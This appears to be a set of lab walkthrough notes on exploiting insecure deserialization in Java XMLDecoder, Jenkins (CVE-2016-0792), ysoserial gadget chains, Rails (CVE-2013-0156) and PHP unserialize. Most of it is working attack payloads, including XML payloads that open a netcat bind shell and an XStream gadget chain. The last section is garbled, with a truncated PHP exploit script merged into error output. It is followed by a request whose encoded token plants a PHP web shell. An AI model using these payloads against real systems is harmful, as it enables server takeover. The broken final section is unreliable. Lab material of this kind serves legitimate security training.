1 XMLDecoder

XMLDecoder is a Java class that creates objects based on an XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, they will instantly gain code execution on the server.

Exploitation of this vulnerability

If we read the signature generated by the server, it's easy to tell that the application is using XMLDecoder:

<java version="1.7.0_67" class="java.beans.XMLDecoder">
    <object class="models.CTFSignature" id="CTFSignature0">
        <void class="models.CTFSignature" method="getField">
            <string>hash</string>
            <void method="set">
                <object idref="CTFSignature0"/>
                <string>33b6c7bd8cc4d313bf9f7ca2c73851da2b33d67e</string>
            </void>
        </void>
        <void class="models.CTFSignature" method="getField">
            <string>sig</string>
            <void method="set">
                <object idref="CTFSignature0"/>
                <string>ad87fbe389784e423b4545b4a1c8a4f873a6295e</string>
            </void>
        </void>
    </object>
</java>

We want to start a shell and bind it to a TCP port. The Java code to do this looks like:

Runtime run = Runtime.getRuntime();String[] commands = new String[] {"/usr/bin/nc", "-l", "-p", "9999", "-e", "/bin/sh"};run.exec(commands);

To get code execution, we will need to manually transform this code to the right format.

To do this, we get a Runtime object using:

<object class="java.lang.Runtime" method="getRuntime">

Then we can call the method exec using:

<void method="exec">
    <array class="java.lang.String" length="6">
        <void index="0">
            <string>/usr/bin/nc</string>
        </void>
        <void index="1">
            <string>-l</string>
        </void>
        <void index="2">
            <string>-p</string>
        </void>
        <void index="3">
            <string>9999</string>
        </void>
        <void index="4">
            <string>-e</string>
        </void>
        <void index="5">
            <string>/bin/sh</string>
        </void>
    </array>
</void>

If we look at the final payload, the important part is to see how the call to exec is nested inside the object element:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <object class="java.lang.Runtime" method="getRuntime">
        <void method="exec">
            <array class="java.lang.String" length="6">
                <void index="0">
                    <string>/usr/bin/nc</string>
                </void>
                <void index="1">
                    <string>-l</string>
                </void>
                <void index="2">
                    <string>-p</string>
                </void>
                <void index="3">
                    <string>9999</string>
                </void>
                <void index="4">
                    <string>-e</string>
                </void>
                <void index="5">
                    <string>/bin/sh</string>
                </void>
            </array>
        </void>
    </object>
</java>

If we were to use ProcessBuilder instead of Runtime().exec(), the payload will look like:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="6">
            <void index="0">
                <string>/usr/bin/nc</string>
            </void>
            <void index="1">
                <string>-l</string>
            </void>
            <void index="2">
                <string>-p</string>
            </void>
            <void index="3">
                <string>9999</string>
            </void>
            <void index="4">
                <string>-e</string>
            </void>
            <void index="5">
                <string>/bin/sh</string>
            </void>
        </array>
        <void method="start" id="process"></void>
    </void>
</java>

2 CVE-2016-0792

This issue was discovered in Jenkins and allows an attacker to gain remote code execution on the server hosting Jenkins.

Jenkins supports serialised objects based on XStream. Previously. It was possible to get code execution using java.beans.EventHandler but it's no longer the case.

Thankfully, Jenkins embeds few third party libraries that include Gadget that provided an attacker with remote code execution.

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando"/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
              </command>
            </owner>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>

By sending this payload, Jenkins will unserialize the provided data and will allow an attacker to gain code execution.

This payload can (for example) be sent to the following URL:

POST /createItem?name=test HTTP/1.0
[...]

By modifying the payload, you will be able to get a reverse-shell

3 ObjectInputStream

readObject()

The root cause of this issue comes from the fact that the application uses the method readObject() on data coming from the user. However, this is only one part of the problem. In Java (as opposed to Python for example), the path from unserialise to code execution is not obvious. To gain code execution, a suit of gadgets need to be found in the libraries loaded by the application. Some security researchers are currently finding a lot of these gadgets in common libraries and getting them fixed. These libraries are not directly vulnerable, but they allow the exploitation of an application using readObject() and loading them.

Exploitation of this vulnerability

The tool ysoserial can be used to exploit this issue. You can find a copy of the version 0.0.4 that works best for this challenge here. This tool allows an attacker to build malicious Java object that will provide command execution.

This tool currently embeds gadgets for the following libraries:

% java -jar ysoserial-0.0.4-all.jar  Y SO SERIAL?  Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'    Available payload types:      CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]      CommonsCollections1 [commons-collections:commons-collections:3.1]      CommonsCollections2 [org.apache.commons:commons-collections4:4.0]      CommonsCollections3 [commons-collections:commons-collections:3.1]      CommonsCollections4 [org.apache.commons:commons-collections4:4.0]      Groovy1 [org.codehaus.groovy:groovy:2.3.9]      Jdk7u21 []      Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]

Here we know that it's a Spring application, therefore we can use the Spring1 payload. If we didn't have this information, we would have to try all the payloads and hope that a "vulnerable" library is loaded by the application.

We can get ysoserial to generate our payload using:

java -jar ysoserial-0.0.4-all.jar Spring1 "/usr/bin/nc -l -p 9999 -e /bin/sh"

Now we need to find where the serialized object is used. A good indicator is the string rO0, which is the base64 encoded version of \xac\xed\x00. Since serialised Java objects contain a lot of special characters, it's very common for them to get encoded before being transmitted over HTTP.

Once you find where a serialised Java object is used, you will need to base64-encode your payload. You can do this by using the base64 command. If you're on Linux, you can use base64 -w 0 to avoid new lines.

You can also try to exploit this issue with the Burp Extension JavaSerialKiller.

Remember to use JDK-15

4 CVE-2013-0156: Rails Object Injection

This vulnerability is caused by an arbitrary deserialization that can be used to trigger a SQL injection and even a code execution. In this exercise, we are going to focus on the code execution.

Multiple public exploits are available for this vulnerability. For example, the one located here can be used.

This exploit will generate a payload similar to the following request body:

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? |
  foo
  (RUBY; @executed = true) unless @executed
  __END__
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format</exploit>

Where RUBY is some arbitrary Ruby code.

The idea here is to create a new action with an arbitrary code in it. By default, Rails doesn't support pure Yaml in a request body. But it supports XML that can embed YAML within it (this explains the first two lines of the payload). Finally, the @executed is used to ensure that the code is only run once.

We recommend you use the exploit above as copying and pasting the payload will break the syntax of the YAML. YAML is very sensitive to line-breaks and whitespaces. Here we can see that the YAML is used to run some Ruby code.

In our example, the application only contains one route that uses the GET method. However, the request needs to contain a body for the payload. To bypass this limitation, the header X-HTTP-Method-Override can be used. The provided exploit will do this automatically. You just need to find the right Ruby code to gain code execution.

5 API to Shell

  • A weakness in a signature check due to PHP type confusion
  • A call to PHP unserialize

Using the first bug, you will be able to retrieve the source code of the application. Then using this code, you will be able to find a call to unserialize and exploit it

The application

The application allows you to download and upload files. The download functionality is protected by a signature, which only the server can issue correctly. You can obtain a valid signature for your files by using the list API call

To get started:

  • Register an account
  • Upload a file
  • List all your files
  • Retrieve the file you just uploaded

When retrieving a file you can tamper with the signature (sig) and see that any modification to this value will prevent you from accessing the file.

Weakness in signature check

Often the application needs to to protect access to a resource. To do so, the application can sign part of the request and provide the signature.

Since the application is the entity with access to the secret used to sign the request, no one else can guess the signature and access the file.

For example, this mechanism is used in AWS S3 to secure the access to resources.

Sorry this was too hard here are the exploits:

ech06➜  ~  ᐅ  php notes 
define('KEY', 'ooghie1Z Fae8aish OhT3fie6 Gae2aiza');

function sign($data) {
    return hash_hmac('md5', $data, KEY);
}

function tokenize($user) {
    $token = urlencode(base64_encode(serialize($user)));
    $token .= "--".sign($token);
    return $token;
}

class File {
    public $owner, $uuid='PHP Warning:  Undefined array key "c" in /home/xi/notes on line 14
PHP Fatal error:  Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /home/xi/notes:14
Stack trace:
#0 /home/xi/notes(14): system()
#1 {main}
  thrown in /home/xi/notes on line 14

fix the php

then use the token in the registration POST

POST /register HTTP/1.1
Host: ptl-a733234f177d-f75eb945bf59.libcurl.me
User-Agent: curl/8.12.1-DEV
Accept: */*
Content-Type: application/json
Content-Length: 254
Connection: keep-alive

{
  "token": "Tzo0OiJGaWxlIjozOntzOjU6Im93bmVyIjtOO3M6NDoidXVpZCI7czoyNzoiPD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8%2BIjtzOjc6ImxvZ2ZpbGUiO3M6MTQ6Ii92YXIvd3d3L3gucGhwIjt9--8454de964f9bc581413cdf6cc3e22e31",
  "username": "abc",
  "password": "password"
}